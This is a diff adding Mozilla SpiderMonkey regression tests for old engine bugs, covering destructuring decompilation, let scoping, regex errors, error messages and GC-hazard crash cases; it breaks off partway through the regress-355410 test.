+var BUGNUMBER = 346642;
+var summary = 'decompilation of destructuring assignment';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+ actual = '';
+ "" + function() { [] = 3 }; actual = 3;
+ actual = 3;
+ reportCompare(expect, actual, summary + ': 1');
+
+ try
+ {
+ var z = 6;
+ var f = eval('(function (){for(let [] = []; false;) let z; return z})');
+ expect = f();
+ actual = eval("("+f+")")()
+ reportCompare(expect, actual, summary + ': 2');
+ }
+ catch(ex)
+ {
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=408957
+ var summarytrunk = 'let declaration must be direct child of block or top-level implicit block';
+ expect = 'SyntaxError';
+ actual = ex.name;
+ reportCompare(expect, actual, summarytrunk);
+ }
+
+ expect = 3;
+ actual = '';
+ "" + function () { for(;; [[a]] = [5]) { } }; actual = 3;
+ reportCompare(expect, actual, summary + ': 3');
+
+ expect = 3;
+ actual = '';
+ "" + function () { for(;; ([[,]] = p)) { } }; actual = 3;
+ reportCompare(expect, actual, summary + ': 4');
+
+ expect = 3;
+ actual = '';
+ actual = 1; try {for(x in (function ([y]) { })() ) { }}catch(ex){} actual = 3;
+ reportCompare(expect, actual, summary + ': 5');
+}
diff --git a/js/src/tests/non262/extensions/regress-346773.js b/js/src/tests/non262/extensions/regress-346773.js
new file mode 100644
index 0000000000..024da5c720
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-346773.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346773;
+var summary = 'Do not crash compiling with misplaced branches in function';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var src =
+ ' var it = {foo:"5"};' +
+ ' it.__iterator__ =' +
+ ' function(valsOnly)' +
+ ' {' +
+ ' var gen =' +
+ ' function()' +
+ ' {' +
+ ' for (var i = 0; i < keys.length; i++)' +
+ ' {' +
+ ' if (valsOnly)' +
+ ' yield vals[i];' +
+ ' else' +
+ ' yield [keys[i], vals[i]];' +
+ ' }' +
+ ' return gen();' +
+ ' }' +
+ ' }';
+ eval(src);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-350312-01.js b/js/src/tests/non262/extensions/regress-350312-01.js
new file mode 100644
index 0000000000..84ee0cd4a3
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-350312-01.js
@@ -0,0 +1,43 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var tmp;
+
+ function f()
+ {
+ try {
+ try {
+ throw 1;
+ } catch (e) {
+ throw e;
+ } finally {
+ tmp = true;
+ }
+ } catch (e) {
+ return e;
+ }
+ }
+
+ var ex = f();
+
+ var passed = ex === 1;
+ reportCompare(true, passed, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-350312.js b/js/src/tests/non262/extensions/regress-350312.js
new file mode 100644
index 0000000000..c10d849018
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-350312.js
@@ -0,0 +1,66 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var iter;
+ function* gen()
+ {
+ try {
+ yield iter;
+ } catch (e) {
+ if (e != null)
+ throw e;
+ actual += 'CATCH,';
+ print("CATCH");
+ } finally {
+ actual += 'FINALLY';
+ print("FINALLY");
+ }
+ }
+
+ expect = 'FINALLY';
+ actual = '';
+ (iter = gen()).next().value.return();
+ reportCompare(expect, actual, summary);
+
+ expect = 'FINALLY';
+ actual = '';
+ try
+ {
+ (iter = gen()).next().value.throw(1);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ expect = 'CATCH,FINALLY';
+ actual = '';
+ try
+ {
+ (iter = gen()).next().value.throw(null);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ reportCompare((iter = gen()).next().value.next().value, undefined, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-351070-02.js b/js/src/tests/non262/extensions/regress-351070-02.js
new file mode 100644
index 0000000000..ec288d859d
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351070-02.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351070;
+var summary = 'decompilation of let declaration should not change scope';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var pfx = "(function f() { var n = 2, a = 2; ",
+ decl = " let a = 3;",
+ end = " return a; })";
+
+ var table = [
+ ["if (!!true)", ""],
+ ["if (!!true)", " else foopy();"],
+ ["if (!true); else", ""],
+ ["do ", " while (false);"],
+ ["while (--n)", ""],
+ ["for (--n;n;--n)", ""],
+ ["for (a in this)", ""],
+ ["with (this)", ""],
+ ];
+
+ expect = 3;
+
+ for (i = 0; i < table.length; i++) {
+ var src = pfx + table[i][0] + decl + table[i][1] + end;
+ print('src: ' + src);
+ var fun = eval(src);
+ var testval = fun();
+ reportCompare(expect, testval, summary + ': ' + src);
+ if (testval != expect) {
+ break;
+ }
+ var declsrc = '(' +
+ src.slice(1, -1).replace('function f', 'function f' + i) + ')';
+ print('declsrc: ' + declsrc);
+ this['f' + i] = eval(declsrc);
+ print('f' + i + ': ' + this['f' + i]);
+ }
+ }
+ catch(ex)
+ {
+ // See https://bugzilla.mozilla.org/show_bug.cgi?id=408957
+ summary = 'let declaration must be direct child of block or top-level implicit block';
+ expect = 'SyntaxError';
+ actual = ex.name;
+ reportCompare(expect, actual, summary);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-351448.js b/js/src/tests/non262/extensions/regress-351448.js
new file mode 100644
index 0000000000..9384d21b17
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351448.js
@@ -0,0 +1,59 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351448;
+var summary = 'RegExp - throw InternalError on too complex regular expressions';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var strings = [
+ "/.X(.+)+X/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+X/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+XX/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+XX/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.X(.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+X/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.XX(.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X]/.exec('bbbbXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X]/.exec('bbbbXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X][X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X](.+)+[X][X]/.exec('bbbbXcXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X][X](.+)+[X]/.exec('bbbbXXXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')",
+ "/.[X][X](.+)+[X]/.exec('bbbbXXcXaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"
+ ];
+
+ expect = 'InternalError: regular expression too complex';
+
+ for (var i = 0; i < strings.length; i++)
+ {
+ try
+ {
+ eval(strings[i]);
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': ' + strings[i]);
+ }
+}
diff --git a/js/src/tests/non262/extensions/regress-351463-01.js b/js/src/tests/non262/extensions/regress-351463-01.js
new file mode 100644
index 0000000000..e7a9ce7ce7
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351463-01.js
@@ -0,0 +1,250 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351463;
+var summary = 'Treat hyphens as not special adjacent to CharacterClassEscapes in character classes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var r;
+ var s = 'a0- z';
+
+ r = '([\\d-\\s]+)';
+ expect = ['0- ', '0- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\d]+)';
+ expect = ['0- ', '0- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\D-\\s]+)';
+ expect = ['a', 'a'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\D]+)';
+ expect = ['a', 'a'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\d-\\S]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\d]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\D-\\S]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\D]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+// --
+
+ r = '([\\w-\\s]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\w]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\W-\\s]+)';
+ expect = ['- ', '- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\s-\\W]+)';
+ expect = ['- ', '- '] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\w-\\S]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\w]+)';
+ expect = ['a0-', 'a0-'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\W-\\S]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+
+ r = '([\\S-\\W]+)';
+ expect = ['a0- z', 'a0- z'] + '';
+ actual = null;
+
+ try
+ {
+ actual = new RegExp(r).exec(s) + '';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary + ': /' + r + '/.exec("' + s + '")');
+}
diff --git a/js/src/tests/non262/extensions/regress-351973.js b/js/src/tests/non262/extensions/regress-351973.js
new file mode 100644
index 0000000000..a24c3ab6f6
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-351973.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351973;
+var summary = 'GC hazard with unrooted ids in Object.toSource';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function removeAllProperties(o)
+ {
+ for (var prop in o)
+ delete o[prop];
+ for (var i = 0; i != 50*1000; ++i) {
+ var tmp = Math.sqrt(i+0.2);
+ tmp = 0;
+ }
+ if (typeof gc == "function")
+ gc();
+ }
+
+ function run_test()
+ {
+
+ var o = {};
+ o.first = { toSource: function() { removeAllProperties(o); } };
+ for (var i = 0; i != 10; ++i) {
+ o[Math.sqrt(i + 0.1)] = 1;
+ }
+ return o.toSource();
+ }
+
+ print(run_test());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-352291.js b/js/src/tests/non262/extensions/regress-352291.js
new file mode 100644
index 0000000000..f3c19b06c8
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-352291.js
@@ -0,0 +1,38 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352291;
+var summary = 'disassembly of regular expression';
+var actual = '';
+var expect = 'TypeError: /g/g is not a function';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof dis != 'function')
+ {
+ actual = expect = 'disassembly not supported, test skipped.';
+ }
+ else
+ {
+ try
+ {
+ dis(/g/g)
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-352372.js b/js/src/tests/non262/extensions/regress-352372.js
new file mode 100644
index 0000000000..106d8673ca
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-352372.js
@@ -0,0 +1,62 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352372;
+var summary = 'Do not assert eval("setter/*...")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'ReferenceError: setter is not defined';
+ try
+ {
+ eval("setter/*\n*/;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/;")');
+
+ try
+ {
+ eval("setter/*\n*/g");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/g")');
+
+ try
+ {
+ eval("setter/*\n*/ ;");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/ ;")');
+
+ try
+ {
+ eval("setter/*\n*/ g");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, 'eval("setter/*\n*/ g")');
+}
diff --git a/js/src/tests/non262/extensions/regress-352604.js b/js/src/tests/non262/extensions/regress-352604.js
new file mode 100644
index 0000000000..106c04e97b
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-352604.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352604;
+var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f() {}
+ delete Function;
+ var g = function () {};
+
+ expect = f.__proto__;
+ actual = g.__proto__;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-353116.js b/js/src/tests/non262/extensions/regress-353116.js
new file mode 100644
index 0000000000..cdb19bff32
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-353116.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353116;
+var summary = 'Improve errors messages for null, undefined properties';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: (undefined has no properties|can't access property "y" of undefined)/;
+ actual = 'No Error';
+
+ try
+ {
+ undefined.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: (null has no properties|can't access property "y" of null)/;
+ actual = 'No Error';
+
+ try
+ {
+ null.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: .*x is undefined/;
+ actual = 'No Error';
+
+ try
+ {
+ x = undefined;
+ x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+
+ expect = /TypeError: .*x is null/;
+ actual = 'No Error';
+
+ try
+ {
+ x = null;
+ x.y;
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-353214-02.js b/js/src/tests/non262/extensions/regress-353214-02.js
new file mode 100644
index 0000000000..9a6317a066
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-353214-02.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353214;
+var summary = 'bug 353214';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function ([x]) { let y; }
+ expect = 'function ([x]) { let y; }';
+ actual = f + '';
+
+ compareSource(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-354297.js b/js/src/tests/non262/extensions/regress-354297.js
new file mode 100644
index 0000000000..a0cdbdc6aa
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-354297.js
@@ -0,0 +1,27 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354297;
+var summary = 'getter/setter can be on index';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test requires GC_MARK_DEBUG');
+
+ var o = {}; o.__defineGetter__(1, Math.sin); gc()
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355052-01.js b/js/src/tests/non262/extensions/regress-355052-01.js
new file mode 100644
index 0000000000..73bcb5125a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355052-01.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ ( {valueOf: gc} - [function(){}].__iterator__ )();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355052-02.js b/js/src/tests/non262/extensions/regress-355052-02.js
new file mode 100644
index 0000000000..a6e0a9816e
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355052-02.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ ( {valueOf: gc} - [].a )();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355052-03.js b/js/src/tests/non262/extensions/regress-355052-03.js
new file mode 100644
index 0000000000..6393a7441a
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355052-03.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355052;
+var summary = 'Do not crash with valueOf:gc and __iterator__';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = /TypeError: .+ is not a function/;
+ actual = 'No Error';
+ try
+ {
+ var obj = {valueOf: gc };
+
+ function f() {
+ ( obj * [].a )();
+ }
+
+ f();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportMatch(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/extensions/regress-355410.js b/js/src/tests/non262/extensions/regress-355410.js
new file mode 100644
index 0000000000..38eb133964
--- /dev/null
+++ b/js/src/tests/non262/extensions/regress-355410.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355410;
+var summary = 'GC hazard in for([k,v] in o){...}';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var address = 0xbadf00d0, basket = { food: {} };
+ var AP = Array.prototype, rooter = {};
+ AP.__defineGetter__(0, function() { return this[-1]; });
+ AP.__defineSetter__(0, function(v) {
+ basket.food = null;
+ for(var i = 0; i < 8 * 1024; i++) {
